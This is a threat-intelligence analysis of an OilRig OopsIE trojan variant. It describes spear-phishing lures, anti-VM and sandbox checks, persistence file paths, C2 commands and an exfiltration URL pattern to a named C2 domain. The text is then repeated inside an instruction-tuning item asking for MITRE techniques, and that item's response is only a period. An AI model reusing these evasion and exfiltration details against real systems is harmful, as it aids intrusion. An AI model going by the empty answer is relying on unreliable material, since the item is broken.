Article Content The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics As observed in previous attack campaigns, the tools used are not an exact duplicate of the previous attack and instead is an iterative variant The attachment was identified as a variant of the OopsIE trojan we identified in February 2018 In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems Attack Details In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT The email subject was in Arabic, which translated to “Business continuity management training” The email was sent to an address belonging to a user group, rather than a specific individual’s email address Based on open source data collection, it appears the targeted group had publicly published several documents regarding business continuity management on the Internet, indicating the lures were purposefully crafted for this specific attack Evasion Techniques The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code These evasion techniques are meant to thwart automated analysis in an effort to avoid detection Temperature Check The Trojan will perform the following WMI query:   SELECT * FROM MSAcpi_ThermalZoneTemperature   The Trojan will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported This is meant to find the result of Not supported, which is the result if run in a virtual machine Sandboxie DLL Check The Trojan will attempt to load the SbieDll.dll module via LoadLibrary VBox DLL Check The Trojan checks to see if the file vboxmrxnp.dll exists in the system directory Table 1 List of anti-vm and anti-sandbox techniques used by OopsIE   Most of these evasion techniques have been observed in other malware families; however, a few of the techniques were more novel Figure 2 WMI query for Win32_Fan run on a physical system showing statistics Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags <pre> and </pre> and will parse that data for commands However, there are many differences introduced to this version of OopsIE from the previously discussed variant The last check requires the user to click the ‘Ok’ button in an error dialog box, as seen in Figure 4 Figure 4 Error dialog box displayed by OopsIE After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack It then moves itself to %APPDATA%\Windows\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user The %path% string in the scheduled task command will be replaced with the path to the following: %APPDATA%\Windows\ShwDoc.VBS The decoded string from the VBS resource is written to ShwDoc.VBS The %app% string in the VBScript is replaced with %APPDATA%\Windows\WindowsImplantment.exe The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog This particular sample uses the following domain as its C2 server: www.windowspatch[.]com One obvious difference between this version of OopsIE compared to the previously analyzed version is the strings in the C2 URLs are reversed, from chk to khc, what to tahw and resp to pser Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2 The one difference in this command handler from the previous version is the boom! command, which allows the actor to uninstall the OopsIE Trojan from the system Command Description   1 Runs a supplied command and writes it output to %APPDATA%\SchWin.vbs, which will then be uploaded to the C2 server Splits argument on “(|)”, with the string to the left representing the filename to save and the string to the right representing the data to write to the file 3 Read specified file and uploads its contents to the C2 server Table 2 OopsIE commands When sending data to the C2 server after running commands, the Trojan will use the following URL structure with either BBY or BBZ splitting the whoami output and the exfiltrated data: http://www.windowspatch.com/pser?<hex(STDOUT of whoami command)(BBZ|BBY)hex(up to 1000 bytes of hexadecimal data)>   Conclusion The OilRig group remains a persistent adversary in the Middle East region They continue to iterate and add capabilities to their tools while still functionally using the same tactics over and over again Within the time frame we have been tracking the OilRig group, they have repeatedly shown a willingness to add less commonly found functionality to their tools, such as their heavy use of DNS tunneling in their backdoors or adding authentication to their webshells This attack is no different, now adding anti-analysis capabilities into their tools This adversary is highly resourceful and continues to adapt over time However, the tactics they continue to deploy are generally unsophisticated, and simple security hygiene would help organizations protect themselves against this threat 
Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Article Content The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics As observed in previous attack campaigns, the tools used are not an exact duplicate of the previous attack and instead is an iterative variant The attachment was identified as a variant of the OopsIE trojan we identified in February 2018 In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems Attack Details In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT The email subject was in Arabic, which translated to “Business continuity management training” The email was sent to an address belonging to a user group, rather than a specific individual’s email address Based on open source data collection, it appears the targeted group had publicly published several documents regarding business continuity management on the Internet, indicating the lures were purposefully crafted for this specific attack Evasion Techniques The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code These evasion techniques are meant to thwart automated analysis in an effort to avoid detection Temperature Check The Trojan will perform the following WMI query:   SELECT * FROM MSAcpi_ThermalZoneTemperature   The Trojan will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported This is meant to find the result of Not supported, which is the result if run in a virtual machine Sandboxie DLL Check The Trojan will attempt to load the SbieDll.dll module via LoadLibrary VBox DLL Check The Trojan checks to see if the file vboxmrxnp.dll exists in the system directory Table 1 List of anti-vm and anti-sandbox techniques used by OopsIE   Most of these evasion techniques have been observed in other malware families; however, a few of the techniques were more novel Figure 2 WMI query for Win32_Fan run on a physical system showing statistics Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags <pre> and </pre> and will parse that data for commands However, there are many differences introduced to this version of OopsIE from the previously discussed variant The last check requires the user to click the ‘Ok’ button in an error dialog box, as seen in Figure 4 Figure 4 Error dialog box displayed by OopsIE After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack It then moves itself to %APPDATA%\Windows\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user The %path% string in the scheduled task command will be replaced with the path to the following: %APPDATA%\Windows\ShwDoc.VBS The decoded string from the VBS resource is written to ShwDoc.VBS The %app% string in the VBScript is replaced with %APPDATA%\Windows\WindowsImplantment.exe The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog This particular sample uses the following domain as its C2 server: www.windowspatch[.]com One obvious difference between this version of OopsIE compared to the previously analyzed version is the strings in the C2 URLs are reversed, from chk to khc, what to tahw and resp to pser Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2 The one difference in this command handler from the previous version is the boom! command, which allows the actor to uninstall the OopsIE Trojan from the system Command Description   1 Runs a supplied command and writes it output to %APPDATA%\SchWin.vbs, which will then be uploaded to the C2 server Splits argument on “(|)”, with the string to the left representing the filename to save and the string to the right representing the data to write to the file 3 Read specified file and uploads its contents to the C2 server Table 2 OopsIE commands When sending data to the C2 server after running commands, the Trojan will use the following URL structure with either BBY or BBZ splitting the whoami output and the exfiltrated data: http://www.windowspatch.com/pser?<hex(STDOUT of whoami command)(BBZ|BBY)hex(up to 1000 bytes of hexadecimal data)>   Conclusion The OilRig group remains a persistent adversary in the Middle East region They continue to iterate and add capabilities to their tools while still functionally using the same tactics over and over again Within the time frame we have been tracking the OilRig group, they have repeatedly shown a willingness to add less commonly found functionality to their tools, such as their heavy use of DNS tunneling in their backdoors or adding authentication to their webshells This attack is no different, now adding anti-analysis capabilities into their tools This adversary is highly resourceful and continues to adapt over time However, the tactics they continue to deploy are generally unsophisticated, and simple security hygiene would help organizations protect themselves against this threat  ### Response: .